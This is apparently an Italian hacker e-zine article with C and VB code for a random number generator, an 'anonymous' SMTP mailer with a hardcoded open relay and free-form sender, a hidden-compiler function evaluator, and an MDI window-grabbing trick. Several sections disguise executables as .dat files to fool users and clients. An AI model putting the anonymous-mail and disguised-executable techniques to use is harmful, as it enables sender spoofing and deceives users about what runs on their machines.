XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 5. Generazione evoluta di numeri random //--------------------------------------------------------------------------------------------------- Tralasciando la nota disquisizione sulla possibilita' o meno di produrre numeri casuali (funzione e casuale sono in effetti due termini dicotomici) .. quelle che seguono sono due procedure ricavata da un algoritmo apposito per la generazione evoluta di numeri pseudo-casuali sviluppato all'Universita' della Florida e successivamente modificato da me per ottenere una migliore risoluzione. A tutti gli effetti la produzione di random dell'algoritmo -grande- si colloca ai primi posti nel mondo in fatto di serie caotiche non ripetute, purtroppo non si puo' dire altrettanto della velocita' che pero' cmq resta elevata per la maggior parte delle applicazioni comuni. Il rapporto con il generatore standard del c++ e' a favore di quest'ultimo ma se si considera che l'algoritmo floridiano produce una serie non ripetuta di 2^9000 random diversi a dispetto dei 2^30 massimi del generatore congruenziale c i vantaggi sono subito evidenti. L'algoritmo -piccolo- (il motore random) e' una semplificazione dell'algoritmo -grande- , risulta nettamente più' veloce ma ovviamente questo e' a scapito della risoluzione infatti la serie non ripetuta si colloca (dipendentemente dal seed) in valori che si aggirano mediamente su 2^80 cifre decimali significative. Il programma -grande- e' composto da 3 procedure fondamentali 1. float RANDOM(void); 2. void RAND(float VET[], int DIM); 3. static void RANDOMIZE(int s1, int s2); la prima: --------------------------------------------- float RANDOM(void) { float metti; metti=passa[pr]-passa[sc]; if(metti<0.0) metti+=1.0; passa[pr]=metti;pr-=1; if(pr==0)pr=0x061; sc-=1;if(sc==0)sc=0x061; con0-=con1;if(con0<0.0)con0+=con2; metti-=con0;if(metti<0.0)metti+=1.0; return(metti); } --------------------------------------------- serve a produrre un solo numero random alla volta secondo l'algoritmo citato. la seconda --------------------------------------------- void RAND(float VET[],int DIM) { int indice; float metti; for(indice=1;indice<=DIM; indice++) { metti=passa[pr]-passa[sc]; if(metti<0.0) metti+=1.0; passa[pr]=metti;pr-=1; if(pr==0)pr=0x061; sc-=1;if(sc==0)sc=0x061; con0-=con1;if(con0<0.0)con0+=con2; metti-=con0;if(metti<0.0)metti+=1.0; VET[indice]=metti; } } --------------------------------------------- crea una lista DIM di numeri random all'interno dell'array di valori float VET[] la terza --------------------------------------------- static void RANDOMIZE(s1,s2) int s1, s2; { int i,j,k, l,m,n, o; float s,t, alfa=pow(2,24), beta=alfa/2.191862086, gamma=alfa/46.29014777; i=(s1/0x0b1)%0x0b1+0x002; j=s1%0x0b1 + 2; k=(s2/0x0a9)%0x0b2+0x001; l=s2%0x0a9; for(n=1;n<=0x061;n++) { s=0.0;t=1./2.; for(o=1;o<=0x018;o++) { m=(((i*j)%0x0b3)*k)%0x0b3; i=j;j=k;k=m; l=(0x035*l+1)%0x0a9; if((l*m)%0x040>=0x020)s+=t; t*=1./2.; } passa[n]=s; } con0=gamma/alfa;con1=beta/alfa; con2=(alfa-0x03)/alfa; pr=0x061;sc=0x021; } --------------------------------------------- inizializza e prepara variabili e parametri necessari al buon funzionamento dell'algoritmo sfruttato dalle due procedure precedenti. Un esempio pratico di programma che sfrutta in modo adeguato le procedure sopra riportate potrebbe essere questo. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: programma GRANDE :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #define boolean int float RANDOM(void); void RAND(float VET[], int DIM); static void RANDOMIZE(int s1, int s2); // Uso: // Si inizializza il generatore di numeri casuali con // RANDOMIZE(uno,due) .. uno e due sono interi da 0-2^15 // per un totale di 2^30 diverse partenze nella sequenza random. // Con la funzione float RANDOM() si ha un numero casuale in // uscita <= 1. // In alternativa si dichiara un vettore di float -> float PIPPO[N] // e con RAND(PIPPO,N) si generano N numeri casuali nel vettore PIPPO. main() { float BUF[10]; int s1, s2, DIM, i; float d1[10]={0},d2[10]={0}; FILE *fp; RANDOMIZE(1234,5678); clrscr(); fp=fopen("dati","wb"); for(i=0;i<=100;i++) { fprintf(fp,"%1.4f\n",RANDOM()); // printf("%d ",i); } fclose(fp); printf("Finito"); getch(); exit(0); su: for (i=1; i<=10000; i++) { RAND(BUF, 1); if(BUF[1]<0.5) { RAND(BUF, 1); d1[floor(abs(BUF[1]*6))]+=1; } else { RAND(BUF, 1); d2[floor(abs(BUF[1]*6))]+=1; } } clrscr(); printf("%6.1f %6.1f %6.1f %6.1f %6.1f %6.1f \n%6.1f %6.1f %6.1f %6.1f %6.1f %6.1f\n ",d1[0],d1[1],d1[2],d1[3],d1[4],d1[5],d2[0],d2[1],d2[2],d2[3],d2[4],d2[5]); printf("\n Somma d1= %6.1f \n",d1[0]+d1[1]+d1[2]+d1[3]+d1[4]+d1[5]); printf("\n Somma d2= %6.1f \n",d2[0]+d2[1]+d2[2]+d2[3]+d2[4]+d2[5]); i=getch(); if(i==27)exit(0); for(i=0;i<=6;i++) { d1[i]=0; d2[i]=0; } goto su; exit(0); } static float passa[0xff], con0, con1, con2; static int pr, sc; static void RANDOMIZE(s1,s2) int s1, s2; { int i,j,k, l,m,n, o; float s,t, alfa=pow(2,24), beta=alfa/2.191862086, gamma=alfa/46.29014777; i=(s1/0x0b1)%0x0b1+0x002; j=s1%0x0b1 + 2; k=(s2/0x0a9)%0x0b2+0x001; l=s2%0x0a9; for(n=1;n<=0x061;n++) { s=0.0;t=1./2.; for(o=1;o<=0x018;o++) { m=(((i*j)%0x0b3)*k)%0x0b3; i=j;j=k;k=m; l=(0x035*l+1)%0x0a9; if((l*m)%0x040>=0x020)s+=t; t*=1./2.; } passa[n]=s; } con0=gamma/alfa;con1=beta/alfa; con2=(alfa-0x03)/alfa; pr=0x061;sc=0x021; } void RAND(float VET[],int DIM) { int indice; float metti; for(indice=1;indice<=DIM; indice++) { metti=passa[pr]-passa[sc]; if(metti<0.0) metti+=1.0; passa[pr]=metti;pr-=1; if(pr==0)pr=0x061; sc-=1;if(sc==0)sc=0x061; con0-=con1;if(con0<0.0)con0+=con2; metti-=con0;if(metti<0.0)metti+=1.0; VET[indice]=metti; } } float RANDOM(void) { float metti; metti=passa[pr]-passa[sc]; if(metti<0.0) metti+=1.0; passa[pr]=metti;pr-=1; if(pr==0)pr=0x061; sc-=1;if(sc==0)sc=0x061; con0-=con1;if(con0<0.0)con0+=con2; metti-=con0;if(metti<0.0)metti+=1.0; return(metti); } :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Una esemplificazione dell'algortimo floridiano e' rappresentata da questo altro programma che ho chiamato -piccolo- per via della minore risoluzione che si ottiene con la produzione di pseudo casuali. Cio' e' devoluto principalmente all'arrotondamento su grandi numeri che si opera al fine di incrementare la velocita'. Il programma e' formato principalmente da un header.. il motore inferenziale che genera i random tramite una procedura di inizializzazione per il seed [ _randomize ] e una funzione per l'utilizzo del numero trovato [ trova() ]. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: motore.h :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: //---------------------------------- // Motore random //---------------------------------- #define \ min 0x41a7 #define \ max 0x7fffffff long n=1; long _rand(long s){ unsigned long un,du; un=min*(long)(s&0xFFFF); du=min*(long)((unsigned long)s>>0x10); un+=(du&0x7FFF)<<0x10; if(un>max){un&=max;++un;} un+=du>>0xf; if(un>max){un&=max;++un;} return(long)un;} float trova(void){ float p; p=n=_rand(n); return p/max;} void _randomize(unsigned long s) {n=s?(s&max):1;} //---------------------------------- :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Esempio di utlizzo del motore random. #include #include #include #include "motore.h" int main() { long k; float x,y; int u,gdriver = DETECT, gmode, errorcode; initgraph(&gdriver, &gmode, ""); _randomize(1); for (k=0;k<100000000;++k){ x = trova()*640; y = trova()*480; u=getpixel(x,y)+1; putpixel(x,y,u); if(k%1000==1)if(kbhit()){cleardevice();printf("%ld",k);getch();getch();exit(0);}; } } riempie uno schermo di 640*480 pixel di colori sequenziali per verificare a-occhio se la generazione dei random e' soggetta a qualche pecca. Nel caso di una cattiva generazione (cosa che non e' nel nostro caso) di dovrebbero vedere delle strutture grafiche preferenziali a video: delle zone che si riempiono di colore prima delle altre, delle righe o delle croci colorate, ecc... XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 6. Come postare una mail anonima col C //--------------------------------------------------------------------------------------------------- Chiesto da ... he he .. non me lo ricordo piu'! .. cmq e' una domanda questa che a periodi fissi mi viene rifatta da diverse persone. Direi che e' uno dei grandi classici della rete.. leggermente meno "classica" di -dove lo trovo telnet?- ma sicuramente piu' classica di -come trovo la mail se conosco l'ip?- .. ;-) .. uno di questi giorni devo mettermi in testa anch'io di fare una raccolta di tutte le domande assurde che mi sono state fatte in tanti anni. Ce ne sono gia diverse in rete di -raccolte- analoghe ma non ci si stancherebbe mai di leggerle eh!? ..he he Cominciamo con lo ..spedire una mail col C. (l'anonimia' verra in seguito ..o quasi. ;-) ) Tutto il gravoso della faccenda e' relativo all'utilizzo diretto del winsock. Il vb si salva in corner grazie agli ocx.. spedire una mail col controllo winsock.ocx della Microsoft o col winsck.ocx nella Netmanage e' addirittura banale. Gia l'utilizzo della libreria winsock.bas (equivalente di winsock.h per il C) resta faticoso.. questo non perche' sia piu' difficile ma forse (probabilmente) perche' da una parte mancano esempi stringati (base fondamentale per la acquisizione di pratica del programmatore) e dall'altra i -convenevoli- necessari per l'inizializzazione del winsock rendono il tutto mentalmente pesante. Lo capisco .. quando ho cominciato anche per me era cosi', poi si scopre che a fronte di un maggior impegno iniziale si hanno notevoli guadagni in termini di elementarizzazione delle procedure e di lavoro a basso-livello. Solitamente la strada semplice e' anche quella priva di situazioni interessanti. Ad ogni modo il programma per spedire una mail e' questo: Funziona esattamente come se si stesse lavorando su telnet. Richiede in ingresso un file con le specifiche della mail ed invia direttamente su un sock connesso all'indirizzo del server mail voluto tutti dati impostati. E' uguale a sendmail?.. e' uguale a netcat? .. si pero' questo e' un sorgente veramente minimo e stringato, facile da capire sia nel funzionamento che nella struttura organizzativa. Ve lo riporto cosi' come lo avevo pubblicato con le spiegazioni del caso. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: info sul programma LAPOSTA.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Procedura elementare per mandare una mail anonima col c++. La procedura e' in c++ di base .. quindi e' possibile compilare il programma con praticamente ogni tipo compilatore. Borland c++ 4/5 (col tre ci vuole il suo winsock.lib .. chi non ce l'ha se lo puo' ricavare facilmente passando al programma implib accluso assieme al compilatore la libreria winsock.dll a 16 bit) Builder, Vc .. tutto insomma. (c'e' cmq anche il programma gia' compilato!) E' un programma dimostrativo .. serve solo a capire come si deve operare per mandare dati attraverso il TCP usando solo le librerie fondamentali e nessun ocx. Ad ogni modo funziona egregiamente senza bisogno di ulteriori modifiche. Il funzionamento lo si capisce solo guardando il listato .. sono tre righe. .. necessita di un file di script contenente i comandi da inviare esattamente come se si stesse operando su telnet (vale solo per SMTP in questo caso ma non e' difficile fare le modifiche per ottenere uno script telnet generico.) Nel file di script vanno inseriti 1. L'ip del sendmail a cui collegarsi. (scrivendo DEFAULT viene usato un ip di un server SMTP anonimo ..(uno dei pochi ancora attivi in rete)) 2.. tutti i comandi come da specifiche RFC. .. e' possibile accludere degli attach codificandoli in uuencode e attaccandoli nel body della mail prima del punto finale. Vedere lo script di esempio laposta.txt .. per spedire la mail: MANDA laposta.txt .. e aspettare la fine. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: LAPOSTA.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: //--------------------------------------------------------------------------- #include #pragma hdrstop #include #include #include #include #include #include #include // Assegnazioni //--------------------------------------------------------------------------- WSAData ws; SOCKET s; struct sockaddr_in sock; int d,n,m; long gg; char stringa[4096], stringhina[3]; //--------------------------------------------------------------------------- // Dichiarazione delle procedure //--------------------------------------------------------------------------- Spedisci_Messaggio(char *messaggio); Spedisci_ENTER(); Ricevi_Risposte(); //--------------------------------------------------------------------------- main(int nf,char **file) { char *leggi; FILE *fp; leggi = (char *) calloc(200, sizeof(char)); fp=fopen(file[1],"rb"); // inizializzazione del winsock //--------------------------------------------------------------------------- gg=WSAStartup(0x0101,&ws); printf("Attivo il supporto winsock -> id=%ld\n",gg); // apertura del socket s = socket(AF_INET,SOCK_STREAM,0); printf("Apro il socket n.%ld\n",s); // dichiarazione della porta e dell'host a cui connettersi sock.sin_family = AF_INET; sock.sin_port = htons(25); fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; if(strstr(leggi,"DEFAULT"))strcpy(leggi,"194.235.161.1"); // mail.amadeus.it sock.sin_addr.s_addr = inet_addr(leggi); // mail.amadeus.it e' un servizio di posta -abbastanza- anonimo // CERCATE DI NON ABUSARNE.. non se ne trovano ancora tanti di // questi tempi!!!! // mettendo la scritta DEFAULT al posto dell'ip del server SMTP // che intendiamo usare nella prima riga dello script // significa che useremo il servizio amadeus per spedire la posta. // connessione d=connect(s,(struct sockaddr *)&sock,sizeof(sock)); printf("Sono connesso -> id=%ld\n",d); //--------------------------------------------------------------------------- // Spedizione della MAIL ANONIMA //--------------------------------------------------------------------------- // manda il comando HELO fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); // manda il comando MAIL FROM fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); // manda il comando RCPT TO fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); // manda il comando DATA fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); // manda il MESSAGGIO .. // non si aspettano risposte se non dopo l'invio del // punto finale seguito dal carriage return manda: fgets(leggi,200,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; if(strlen(leggi)==1&&leggi[0]=='.') { Spedisci_Messaggio("."); Spedisci_ENTER(); Spedisci_ENTER(); } else { Spedisci_Messaggio(leggi); goto manda; } fclose(fp); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); printf("FINITO!"); exit(0); } //--------------------------------------------------------------------------- // Procedure utilizzate : //--------------------------------------------------------------------------- // Procedura per spedire un messaggio al server con CrLf finale //--------------------------------------------------------------------------- Spedisci_Messaggio(char *messaggio) { send(s,messaggio,strlen(messaggio),0); stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0); } //--------------------------------------------------------------------------- // Procedura per spedire al server un CrLf //--------------------------------------------------------------------------- Spedisci_ENTER() { stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0); } //--------------------------------------------------------------------------- // Procedura per attendere e visualizzare la risposta del server // .. paragonabile all'evento Data_Arrival (o quasi) :) //--------------------------------------------------------------------------- Ricevi_Risposte() { n=recv(s,stringa,sizeof(stringa),0); for ( m = 1;m<= n; m++) printf("%c",stringa[m-1]); printf("\n"); } //--------------------------------------------------------------------------- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: questo e' il file LAPOSTA.TXT che contiene una mail di prova con un attach: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: LAPOSTA.TXT ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DEFAULT HELO Parsifal MAIL FROM: indirizzo_mail@del_mittente.com RCPT TO: indirizzo_mail@del_ricevente.com DATA Subject: prova di invio mail col nuovo telnet (compresso) piro piro piro toppo piro piro pa' poro poro poro poro poro pi' umpa umpa umpeppe' ta taratatta' .. za za begin 644 star.gif M1TE&.#EAH`!0`*$!`````/___P```````"'_"TY%5%-#05!%,BXP`P$````A M^00$"@#_`"P`````H`!0```"E82/JYH?&(3"J7S*;S"8U:BM*J]8K-:K<_*O<+#HO' MY++YC$ZKU^RV^PV/R^?TNOV.S^OW_+[_#Q@H.$BHXE6(F*BXR-CHV'#X*#E) M66E)$WFIN6F6R:GE^2DZ2EIJ>HJ:JKK*VNKZ"ALKFU<``"'Y!`4*``(`+`4` M!`"'`$4```)_A`^!R^T/HYRTVHNSWKS[#X;B2)8FHYSJRK;N"Y=I3-?VC>?Z MSO?^#PP>9L*B\8A,*I?,IO,)C4JGU*KUBLUJM]RN]PL.B\?DLOF,%A'3[+;[ M#8_+Y_2Z_8[/Z_?\OO]_L@8X>"9(>(B8J+C(V.CXB&`(.4E962EIF:D9A#E7 M```A^00%"@`"`"P%``,`D`!,```"BH2/J^L[W_@\,"H?$HO&(3"J7S*;S"8U*I]2J]8K-:K?BK?<+#HO'Y%NWC$Z3S^JV^PV/R^?TNOV. MS^OW_+[_#Q@HF,?ZSO?^#PP*A\2B\8A,*I?,7Z`)C4JGU*KUBLUJM]RNM_'\BL?DLOD6 M/JNCZ;7[#8_+Y_2Z_8[/Z_?\OO\/&"@X2%AH>(B8J+C(V%C3YA@I.4E9:7F) MF;D%B50``"'Y!`4*``(`+`0`$P"8`#D```)UA(^IRPWAHIRTVHNSWKS[#X;B M2);FB:;JRK;N"\?R3-*BU$?UBLUJ MM]RN]PL.B\?DLOF,3JO7[+;;,'W+Y_1CO([/Z_?\OO\/&"@X2%AH>(B8J+C( MB''7"!DIR50``"'Y!`4*``(`+`0`$0"8`#\```)]A(^IRQ`-HYRTVHNSWKS[ M#X:B]HSFB:;JRK;N"\?R3-?VC>?ZSO?^#PP*(Z6A\8A,*I?,IK'HC$JGU*KU MBLUJM]RN]PL.B\?DLOF,3JO7[+;[#8^?H/*Z_8[/Z]WTO?\/&*C4)UAH>(B8 MJ+C(V.CX"!DI.4E9:7F)Z44H60``(?X?3W!T:6UI>F5D(&)Y(%5L96%D(%-M ,87)T4V%V97(A```[ ` end sum -r/size 19614/1137 . ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 7. Sistema per la valutazione di funzioni matematiche composte in c con precompilazione in altro linguaggio completamente nascosta. //--------------------------------------------------------------------------------------------------- Il C e' un compilatore! .. he he .. che novita' eh!? :)) Pero' come tutti i compilatori ha il solito difettaccio (rispetto ad un interprete) di non saper elaborare di base funzioni immesse in input. Canonicamente si dovrebbe creare una funzione parser che estrae le varie funzioni e una procedura per la valutazione di espressioni matematiche che tenga conto di un certo numero di funzioni base (trigonometriche, esponenziali, ecc...) e che le esegua correttamente tenendo conto dei segni, delle priorita' delle parentesi, ecc... Non e' una cosa troppo complessa da buttar giu' ma quando ho fatto questo programma avevo poco tempo a disposizione. L'idea potrebbe essere utile a tantissimi altri scopi. Es: costruirsi un linguaggio di programmazione personale, farsi un esecutore di script, ecc.. L'idea di base e' semplice: abbiamo un compilatore X che compila un sorgente scritto nel linguaggio Y. (io ho usato il compilatore powerbasic ma si puo' usare minic, turbo pascal [90 k di compilatore compresa la mini libreria di base], ecc.. ogni compilatore monofile e di dimensioni ridotte potrebbe andar bene) La soluzione consiste nel compilarsi un programma in C che accetti come input una funzione matematica composta. es: sin(x^2/9+y^2/9)/(x^2+y^2+1) .. il solito sombrero ondulato. Abbiamo detto che valutarla a meno del processo parser->postvalutazione e' impossibile. Potremmo pero' associare al nostro programma un compilatore secondario ( il powerbasic appunto ) A questo punto sara' sufficiente far creare dal nostro programma C un file di testo contenente le istruzioni per far si che il powerbasic compili la funzione immessa creandosi un programma secondario che crei a sua volta sull'hd un secondo file (di testo questa volta) contenente il risultato della funzione per un range di valori da A a B il sottoprogramma per la postcompilazione dovrebbe essere all'incirca cosi' x1=a x2=b S=c); FUNCTION pippo(x) pippo=sin(x^2/9+y^2/9)/(x^2+y^2+1) END FUNCTION open "out" for output as #1 for n=x1 to x2 step S print n," ",pippo(n) next n close #1 e quindi per crarlo dovremmo scrivere in C queste righe: .... fprintf(f,"x1=%s\r\n",a); fprintf(f,"x2=%s\r\n",b); fprintf(f,"S=%s\r\n",c); fprintf(f,"FUNCTION pippo(x)\r\n"); fprintf(f,"pippo=%s\r\n",s); fprintf(f,"END FUNCTION\r\n"); fprintf(f,"open \"out\" for output as #1\r\n"); fprintf(f,"for n=x1 to x2 step S\r\n"); fprintf(f,"print #1," ";n;str$(pippo(n));\r\n"); fprintf(f,"next n\r\n"); fprintf(f,"close #1\r\n"); ..... Al nostro programma in C non resterebbe che eseguire questo secondo programma, cancellarlo, importare i dati del file di testo creati da quest'ultimo e quindi mostrarli a video cancellando anche questo file di testo di passaggio. Resterebberro solo due problemi ad un utente che non volesse far vedere tutti questi passaggi ad un cliente ignaro. 1. Il compilatore secondario di solito durante la compilazione da a video dei messaggi di benvenuto o di infra-compilaione che svelerebbero l'inghippo. 2. Il compilatore e' cmq un file exe che potrebbe essere eseguito dal cliente che si renderebbe conto che c'e' qualcosa che non quadra. .. come si risolvono i due problemi sopra? anche questo in maniera semplice e -spippolatoria- :))) 1. Si potrebbe compilare indirizzando l'output su un di testo passa. COMPILER programma.txt > passa .. quindi cancellare anche il file passa. (tutto questo resterebbe completamente invisibile al cliente) 2. Si potrebbe rinominare COMPILATORE.EXE in Libreria.dat .. magari cambiando i primi byte del file in qualcosa di diverso per poi repristinarli (sia i bytes che il nome con estensione exe finale) solo all'atto dell'utilizzo. E' piu' semplice a farsi che a dirsi.. questo e' il programma che avevo buttato giu': PS: necessita per essere eseguito del compilatore powerbasic ( LIB.OLV .. l'ho solo rinominato evitando di cambiare i bytes iniziali per comodita' .. infatti se provate a rinominare a vostra volta LIB.OVL in PWB.EXE e ad eseguirlo ve ne renderete conto) Lo trovate accluso a tutti gli altri programmi nel file di archivio www.spippolatori.com/memberspp/master/archivio.ace Directory \VALUTA ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: FUNZIONE.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include #include main() { char p[100],s[100]; char a[100],b[100]; char c[100]; FILE *f; printf("Inserimento dei dati di prova..ENTER=DEFAULT:\n\n"); printf("F(x)="); gets(s); if(strlen(s)==0) { strcpy(s,"sin(x^2/9+y^2/9)/(x^2+y^2+1)"); printf("%s\n",s); } printf("da X1 ="); gets(a); if(strlen(a)==0) { strcpy(a,"0"); printf("%s\n",a); } printf(" a X2 ="); gets(b); if(strlen(b)==0) { strcpy(b,"3.14-3.14/16"); printf("%s\n",b); } printf(" STEP ="); gets(c); if(strlen(c)==0) { strcpy(c,"3.14/16"); printf("%s\n",c); } f=fopen("fn.bas","wb"); fprintf(f,"x1=%s\r\n",a); fprintf(f,"x2=%s\r\n",b); fprintf(f,"S=%s\r\n",c); fprintf(f,"FUNCTION pippo(x)\r\n"); fprintf(f,"pippo=%s\r\n",s); fprintf(f,"END FUNCTION\r\n"); fprintf(f,"open \"out\" for output as #1\r\n"); fprintf(f,"for n=x1 to x2 step S\r\n"); fprintf(f,"print #1," ";n;str$(pippo(n));\r\n"); fprintf(f,"next n\r\n"); fprintf(f,"close #1\r\n"); fclose(f); rename("lib.ovl","pbc.exe"); system("pbc.exe -CE fn.bas > ok.pas"); rename("pbc.exe","lib.ovl"); system("fn.exe"); remove("fn.bas"); remove("fn.exe"); remove("ok.pas"); f=fopen("out","rb"); while(!feof(f)) { fscanf(f,"%s",s); fscanf(f,"%s",p); printf("%s -> %s\n",s,p); } fclose(f); remove("out"); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Pensate all'utilita' di poter accludere ad un proprio programma un altro solo in forma di sorgente.. Come dico sempre il limite e' solo la fantasia di chi usa simili procedure. Per la cronaca ho provato diversi compilatori minimi per eseguire lavori di questo tipo anche in altri -settori- .. emh.. :)) hi hi hi la mia valutazione e' la seguente. Powerbasic 2.0 : (si trova free) molto efficiente, abbastanza contenuto nelle dimensioni (220k ca .. e non si riesce comprimere a causa di una complessa table interna) Molte funzioni, e' quasi un clone del visual basic. Turbo pascal : ridottissimo nelle dimensioni (senza librerie strane) necessita solo dei file TPC.EXE e TURBO.TPL (che sono 2 purtroppo) .. cmq TPC.EXE e' possibile comprimerlo con wwpack fino a portarlo alle dimensioni di 50k ca. che assieme ai 40k del turbo.tpl danno un compiler versatile e potente di soli 90k ca. Turbo C: potente .. in tema.. ma di dimensioni notevoli. Con tutto quello che gli serve dietro non si riesce a star sotto ai 600k... un po' troppo. .. ho provato anche altri compilatori minimi .. zbasic (9k!!) , minic (150k), personalC (250k) ecc.. ma col powerbasic ho ottenuto i migliori risultati. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 8. Ladrone, come grabbare una applicazione esterna in un proprio programma con MDIChild //--------------------------------------------------------------------------------------------------- Ecco qui la sezione -esoterica- di questo articolo.. un programma in VB! he he (Vi sembrava possibile che in un mio articolo non inserissi qualcosa di inerente il VB!? :)) ) E' una soluzione da vero furfante. Premessa: Abbiamo sviluppato un programma VB (ma in c++ e' la stessa cosa!) usando i form MDI. Come cosa sono? .. he he .. sono quei form che permettono di inglobarne altri al proprio interno in maniera da avere un processo -padre- che ne governa altri come figli (child) Un tipico esempio di questo e' Aggressor Pro, Il mio Scanus (mio e di Devil) scanner netbios -> www.spippolatori.com/memberspp/master/scanus.zip, Opera, ecc.. Ecco.. sarebbe bello se potessimo -grabbare- (rubare) un programma fatto da un altro e portarlo invisibilmente dentro il nostro form MDI .. :)) Beh ..si puo' fare. E non e' nemmeno troppo complicato. E' sufficiente rintracciare l'handle della applicazione che si vuole grabbare e quindi settargli le specifiche di MDIChild come segue Applicazione_da_grabbare -> Handle Nostr_form_MDI -> handle2 GetWindowLong(handle, GWL_STYLE) GetWindowLong(handle, GWL_EXSTYLE) GetWindowLong(handle, GWL_WNDPROC) pippo=GetWindow(handle2, GW_CHILD) SetParent(handle, pippo) Le prime tre istruzioni settano il processo da grabbare come child e le altre due certificano il nostro form come parent. .. meglio un esempio pratico? ..eccolo qua. LADRONE. Ladrone e' un programma VB che apre un semplice form MDI vuoto al suo interno. Nella stessa directory e' presente un programma esterno (non fatto da me) PINGER.EXE che per l'occasione io ho rinominato come dati.dat (per far si che un utente non troppo smaliziato non pensi che sia un programma eseguibile!) Compilando il programma ed eseguendolo (dati.dat presente nella stessa directory!) .. pinger apparira' come per magia dentro la nostra applicazione della quale sembrera' un processo figlio. Simpatico no!?.. :)) ..ovviamente il sistema e' un sistema generico.. ogni programma puo' essere grabbato con questo sistema indipendentemente dal compilatore usato per crearlo. Anche programmi estremamente complessi nella struttura quali Explorer, Outlook Express o Windows Commander (tanto per fare degli esempi) posso venire inclusi in una specifica (e diversa) applicazione... bastera' solo conoscere l'header del loro form principale di visualizzazione. Il programma di esempio e' formato dai file : DATI.dat (ex pinger.exe che e' possibile trovare in coda a questa sezione in formato uuencode oppure nel solito archivio.ace) ruba.bas (un modulo contenente le dichiarazioni delle Api e le procedure necessarie al -grabbaggio- e al rilascio delle applicazioni sotto MDIChild.) barabba.frm (il programma VB per la gestione -visual- di tutta la cosa.) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 